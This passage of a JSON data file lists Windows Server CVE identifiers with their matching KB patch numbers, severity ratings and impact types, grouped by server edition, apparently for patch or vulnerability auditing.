Privilege\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014702\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029242\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025228\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-29336\",\"kb\":\"5026363\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073722\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028169\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031362\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-50868\",\"kb\":\"5039214\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041773\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043051\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048671\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5049993\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053594\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053594\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053594\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053594\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055521\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058383\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058383\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5061010\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066836\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062560\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063871\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063871\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-59287\",\"kb\":\"5070882\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2016 (Server Core installation)\":[{\"cve\":\"CVE-2016-7255\",\"kb\":\"3200970\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4013429\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019472\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041691\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11823\",\"kb\":\"4041691\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11830\",\"kb\":\"4048953\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4053579\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022715\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022715\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025339\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038782\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056890\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056890\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056890\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0821\",\"kb\":\"4074590\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0822\",\"kb\":\"4074590\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103723\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0826\",\"kb\":\"4074590\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0832\",\"kb\":\"4074590\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0877\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0880\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0882\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103723\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0952\",\"kb\":\"4343887\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093119\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0982\",\"kb\":\"4284880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103723\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8208\",\"kb\":\"4284880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8214\",\"kb\":\"4284880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457131\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462917\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462917\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457131\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462917\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8495\",\"kb\":\"4462917\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467691\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467691\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467691\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103723\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487026\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503267\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530689\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530689\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534271\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537764\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540670\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550929\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556813\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556813\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571694\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571694\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-1472\",\"kb\":\"4601318\",\"severity\":\"Critical\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003197\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003197\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003638\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601318\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001347\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001347\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004948\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-36942\",\"kb\":\"5005043\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005573\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006669\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014702\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029242\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025228\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-29336\",\"kb\":\"5026363\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073722\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028169\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031362\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-50868\",\"kb\":\"5039214\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041773\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043051\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048671\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5049993\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053594\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053594\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053594\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053594\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055521\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058383\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058383\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5061010\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066836\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062560\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063871\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063871\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-59287\",\"kb\":\"5070882\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2019\":[{\"cve\":\"CVE-2018-0886\",\"kb\":\"4551853\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4464330\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4464330\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4464330\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467708\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467708\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467708\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487044\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480116\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0841\",\"kb\":\"4493509\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503327\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1322\",\"kb\":\"4519338\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530715\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534273\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4532691\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4538461\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4549949\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4551853\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4551853\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4565349\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4565349\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-1472\",\"kb\":\"4601345\",\"severity\":\"Critical\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003171\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003171\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003646\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-1732\",\"kb\":\"4601345\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-22947\",\"kb\":\"5009557\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601345\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26863\",\"kb\":\"5000822\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001342\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001342\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004947\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-36942\",\"kb\":\"5005030\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005568\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006672\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-27776\",\"kb\":\"5015811\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014692\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2022-32230\",\"kb\":\"5013941\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2022-35737\",\"kb\":\"5034127\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029247\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025229\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073723\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028168\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-38039\",\"kb\":\"5032196\",\"severity\":\"Low\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031361\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2023-50868\",\"kb\":\"5039217\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-21338\",\"kb\":\"5034768\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041578\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043050\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048661\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-6197\",\"kb\":\"5044277\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5050008\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053596\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053596\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053596\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053596\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055519\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058392\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058392\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060531\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066586\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062557\",\"severity\":\"Critical\",\"impact\":\"Remote Code 